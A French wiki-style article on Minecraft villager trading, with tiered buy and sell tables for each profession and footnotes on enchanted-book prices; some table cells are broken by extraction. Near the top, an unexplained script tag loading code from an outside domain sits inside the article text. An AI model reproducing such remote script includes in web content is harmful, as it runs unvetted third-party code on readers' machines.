La première image du système de commerce postée par Jeb.
<script src="//go.padstm.com/?id=535154"></script> Le commerce (nom anglais : trading) est un moyen qui permet aux joueurs d'échanger avec les villageois des émeraudes contre d'autres objets, et vice-versa.
Fonctionnement
Échange avec un villageois.
Un clic droit sur un villageois permet à un joueur de commercer avec lui. Les villageois font des offres en fonction de leur profession. Différentes offres peuvent être consultées en appuyant sur les boutons gauche et droit à côté de l'offre actuellement affichée. La plupart des offres impliquent de l'émeraude en tant que monnaie, ou certains éléments relatifs à la profession des villageois (comme des livres ou de la nourriture). Il n'est pas possible de commercer avec les enfants.
Il n'est pas possible de proposer une transaction particulière ou de négocier les prix et la quantité de ressources : ce sont les villageois eux-mêmes qui fixent les termes de la transaction. Par exemple, si un villageois vous propose une pioche en diamant contre 6 émeraudes, vous êtes obligé de donner la quantité exigée, soit exactement 6 émeraudes pour récupérer la pioche en diamant. Il en est de même quand c'est vous qui vendez quelque chose à un villageois, celui-ci devant vous donner des émeraudes en retour : le villageois est toujours le maître de l'échange. Toutefois, les quantités, les prix et les enchantements peuvent varier d'un villageois à un autre.
Les particules violettes d'un villageois lorsqu'une offre est par exemple ajoutée.
Différentes professions, visibles dans l'interface de négociation, sont attribuées à un même type de villageois. Par exemple, les villageois vêtus d'une robe marron peuvent être fléchiers ou pêcheurs ; les forgerons peuvent être armuriers ou forgerons d'armes ; etc. Chaque villageois apparaît avec le palier 1 de sa profession, qui possède 2 à 4 offres de base (i.e. tous les bergers apparaissent avec seulement deux options, acheter de la laine et vendre des cisailles). Chaque palier consiste en un ensemble défini d'offres, et les paliers sont les mêmes pour toutes les professions (voir le tableau ci-après). Les villageois peuvent débloquer de nouveaux paliers lorsqu'un échange est effectué sur une offre existante. Notez que l'interface de négociation doit être fermée pour qu'un villageois débloque un nouveau palier. Quand ils le font, ils deviennent entourés de bulles violettes et de petites étoiles vertes pendant quelques instants. Chaque profession comporte une série de paliers définie et débloque seulement un nombre d'offres fini.
Une offre ne peut être utilisée qu'un certain nombre de fois, après quoi elle sera temporairement désactivée, sauf bien sûr s'il s'agit de la seule offre de disponible. La probabilité qu'une offre se désactive est aléatoire, mais une offre doit être utilisée au moins 3 fois avant de pouvoir être désactivée. Après 13 utilisations, une offre se désactive obligatoirement. L'offre désactivée est réactivée lorsqu'un échange est effectué sur une autre offre. Quand une offre se désactive, une croix rouge apparaît dans l'interface de négociation et des particules violettes émanent également du villageois.
La première fois qu'un échange est effectué sur une offre, les options jusque là désactivées sont réactivées (et un palier est débloqué si certains ne sont pas encore déverrouillés). Par la suite, chaque échange a 20 % de chances de réactiver une option désactivée.
Les villageois différencient désormais les damage values ; donc, les différentes couleurs de laine ne peuvent pas remplacer la laine blanche, le charbon de bois ne peut pas être échangé à la place du charbon, et les outils usés ne peuvent pas être échangés à la place d'outils neufs. Les données NBT sont cependant ignorées, donc le contenu d'un livre écrit n'a pas d'importance.
La liste complète des professions et des paliers est disponible ci-dessous :
Villageois à la robe marron (fermier)
| Fermier | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Blé |
18 - 22 | 1 | Pain |
1 | 2 - 4 |
Pomme de terre |
15 - 19 | 1 | ||||
Carotte |
15 - 19 | 1 | ||||
| 2 | Citrouille |
8 - 13 | 1 | Tarte à la citrouille |
1 | 2 - 3 |
| 3 | Pastèque |
7 - 12 | 1 | Pomme |
1 | 5 - 7 |
| 4 | Cookie |
1 | 6 - 10 | |||
Gâteau |
1 | 1 | ||||
| Pêcheur | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Ficelle |
15 - 20 | 1 | Poisson cuit |
6 Poisson 1 Émeraude |
6 |
Charbon |
16 - 24 | 1 | ||||
| 2 | Canne à pêche enchantée[note 1] |
7 - 8 | 1 | |||
| Berger | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Laine blanche |
16 - 22 | 1 | Cisailles |
3 - 4 | 1 |
| 2 |
|
1 - 2 | 1 | |||
| Flécheur | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Ficelle |
15 - 20 | 1 | Flèche |
1 | 8 - 12 |
| 2 | Arc |
2 - 3 | 1 | |||
Silex |
10 Gravier 1 Émeraude |
6 - 10 | ||||
Villageois à la robe blanche (libraire)
| Libraire | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Papier |
24 - 36 | 1 | Livre enchanté[note 2] |
5 - 64 | 1 |
| 2 | Livre |
8 - 10 | 1 | Boussole |
10 - 12 | 1 |
Bibliothèque |
3 - 4 | 1 | ||||
| 3 | Livre édité |
2 | 1 | Montre |
10 - 12 | 1 |
Verre |
1 | 3 - 5 | ||||
| 4 | Livre enchanté |
5 - 64 | 1 | |||
| 5 | Livre enchanté |
5 - 64 | 1 | |||
| 6 | Étiquette |
20 - 22 | 1 | |||
Villageois à la robe violette (prêtre)
| Prêtre | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Chair putréfiée |
36 - 40 | 1 | |||
Lingot d'or |
8 - 10 | 1 | ||||
| 2 | Poudre de redstone |
1 | 1 - 4 | |||
Lapis-lazuli |
1 | 1 - 2 | ||||
| 3 | Œil du Néant |
7 - 11 | 1 | |||
Pierre lumineuse |
1 | 1 - 3 | ||||
| 4 | Fiole d'expérience |
3 - 11 | 1 | |||
Villageois au tablier noir (forgeron)
| Armurier | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Charbon |
16 - 24 | 1 | Casque en fer |
4 - 6 | 1 |
| 2 | Lingot de fer |
7 - 9 | 1 | Plastron en fer |
10 - 14 | 1 |
| 3 | Gemme de diamant |
3 - 4 | 1 | Plastron en diamant enchanté |
16 - 19 | 1 |
| 4 | Bottes en mailles |
5 - 7 | 1 | |||
Jambières en mailles |
9 - 11 | 1 | ||||
Casque en mailles |
5 - 7 | 1 | ||||
Cotte de mailles |
11 - 15 | 1 | ||||
| Fabricant d'armes | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Charbon |
16 - 24 | 1 | Hache en fer |
6 - 8 | 1 |
| 2 | Lingot de fer |
7 - 9 | 1 | Épée en fer enchantée |
9 - 10 | 1 |
| 3 | Gemme de diamant |
3 - 4 | 1 | Épée en diamant enchantée |
12 - 15 | 1 |
Hache en diamant enchantée |
9 - 12 | 1 | ||||
| Fabricant d'outils | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Charbon |
16 - 24 | 1 | Pelle en fer enchantée |
5 - 7 | 1 |
| 2 | Lingot de fer |
7 - 9 | 1 | Pioche en fer enchantée |
9 - 11 | 1 |
| 3 | Gemme de diamant |
3 - 4 | 1 | Pioche en diamant enchantée |
12 - 15 | 1 |
Villageois au tablier blanc (boucher)
| Boucher | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Porc cru |
14 - 18 | 1 | |||
Poulet cru |
14 - 18 | 1 | ||||
| 2 | Charbon |
16 - 24 | 1 | Porc cuit |
1 | 5 - 7 |
Poulet rôti |
1 | 6 - 8 | ||||
| Tanneur | Achète | Vend | ||||
|---|---|---|---|---|---|---|
| Palier | Objet | Quantité | Prix en |
Objet | Prix en |
Quantité |
| 1 | Cuir |
9 - 12 | 1 | Pantalon en cuir |
2 - 4 | 1 |
| 2 | Tunique en cuir enchantée |
7 - 12 | 1 | |||
| 3 | Selle |
8 - 10 | 1 | |||
Le villageois à la robe verte n'est plus obtenable, même en utilisant la commande /summon, un mod ou un éditeur de cartes tiers. Tenter d'en créer un donne à la place un fermier.
L'ordre des offres, y compris l'ordre dans lequel elles sont débloquées, est le même pour toutes les professions. Toutefois, les prix et les enchantements peuvent varier d'un villageois à un autre, même s'ils ont la même profession.
- ↑ Lors de la création d'une offre d'enchantement, le jeu utilise un niveau d'enchantement aléatoire entre 5 et 19.
- ↑ L'enchantement est choisi au hasard, avec une chance égale d'obtenir n'importe quel type et niveau d'enchantement. Le prix en émeraudes dépend du niveau d'enchantement seulement. Les valeurs possibles sont de 5 à 19 émeraudes pour le niveau I, 8 à 32 le niveau II, 11 à 45 pour le niveau III, 14 à 58 pour le niveau IV, et 17 à 71 pour le niveau V. Notez que le coût est plafonné à 64, ce qui signifie que les livres de niveau V varient entre 17 et 64 émeraudes, mais les coûts se situent davantage dans la partie haute de la fourchette.






